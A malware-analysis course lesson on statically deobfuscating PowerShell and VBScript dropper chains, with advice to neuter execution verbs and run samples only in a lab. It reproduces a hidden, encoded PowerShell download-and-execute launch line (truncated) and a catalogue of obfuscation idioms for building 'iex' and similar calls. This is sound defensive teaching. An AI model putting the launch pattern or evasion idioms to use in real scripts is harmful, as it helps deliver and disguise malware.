Skip to content

Lesson 7 of 12 · 20m

Deobfuscating Scripts: Peeling Text Without Running It

PowerShell -enc blobs, format-operator reassembly, and the replace-the-execution-verb technique that turns the obfuscator into your deobfuscator.

A large share of an initial-access chain never becomes a PE at all. It's text: a .vbs that concatenates a PowerShell line, a PowerShell line that decodes a byte array, a byte array that becomes a DLL via Assembly.Load. Script obfuscation is the malware's first defensive layer — and its weakest, because text can't hide what it does, only where. The trap is that deobfuscating feels safe ("it's just a script") right up until the moment you run it on a machine that matters.

The wrong mental model: "I need to understand the obfuscation"

You don't. You need to run the decoder and not the decoded. Every script obfuscation scheme ends the same way — an execution verb: IEX, Invoke-Expression, eval, Execute, &, .Invoke(). Replace that verb with a print statement in a throwaway copy and the obfuscator becomes your deobfuscator. Reading a hand-rolled reassembly routine line by line is how an afternoon disappears.

Layer one: the -enc blob

powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A...

-enc / -EncodedCommand is base64 of UTF-16LE. The giveaway prefix SQBFAFgAIAAoA decodes to IEX ( — once you've seen it you never unsee it:

echo 'SQBFAFgAIAAoA...' | base64 -d | iconv -f UTF-16LE -t UTF-8

Decode it statically. What falls out is usually the next layer — more base64, an XOR loop, a DownloadString. Peel until the last layer is the actual intent: a URL, a file path, a byte array.

The reassembly zoo

PowerShell pays you in punctuation. The patterns that matter:

'po'+'wershell'                      # concatenation
('{0}{1}' -f 'IE','X')               # format operator → IEX
I`n`v`o`k`e-E`x`p`ression            # backtick escapes inside tokens
$env:ComSpec[4,24,25]-join''       # environment-variable slicing → "iex"
$env:ComSpec[20,21,22]-join''      # → "cmd"
-join('5','4') -as [int]             # type coercion to build numbers/keys
[Convert]::FromBase64String($x)      # the byte array that ends the chain

None of these need to be read. They need to be evaluated — in the lab, with execution neutered. VBScript and JScript are the same film in an older language: eval(unescape(...)), Execute s, ActiveXObject("WScript.Shell"), ADODB.Stream writing decoded bytes to %TEMP%\update.dll. mshta.exe runs inline javascript: URLs straight off the command line.

The lab procedure

copy malware.ps1 work.ps1
# in work.ps1: IEX → Write-Output ; Invoke-Expression → Write-Output ; eval → WScript.Echo
powershell -ep bypass -file work.ps1 > layer2.txt

One run, one layer. Repeat until the output is plaintext. The -ep bypass flag disables execution policy for this file — fine in the lab, since policy was never a security boundary anyway. For chains that execute through powershell.exe children rather than verbs in the file, detonate in the analysis VM and read PowerShell operational log EID 4104 (Script Block Logging): Windows records each script block after decoding, so the obfuscation peels itself in the event log.

Where the chain ends

Two endings cover most samples. A URL plus DownloadString/IEX — it's a downloader; the URL is your indicator and the next sample. A byte[] plus Assembly.Load(bytes) + .Invoke() — the payload is .NET in memory and your native tools are done; the next lesson picks that up. Either way, what you extracted statically is now the thing you hash, defang, and feed to YARA.

Field notes

  • Never paste a malicious command into a console and run it "to see what it does." Neuter the verbs first, in a file, in the lab.
  • EID 4104 logs post-decode content — when static peeling fights you, let Windows do it.
  • FromBase64String feeding Assembly.Load is the single most common ending; treat finding it as finding the payload boundary.
  • Record each layer as its own file in the case folder — layer 3's URL and layer 1's lure belong to different IOC categories.

Was this lesson helpful?

Sign in to rate

Keep reading

Related articles from the SudoSecurity blog.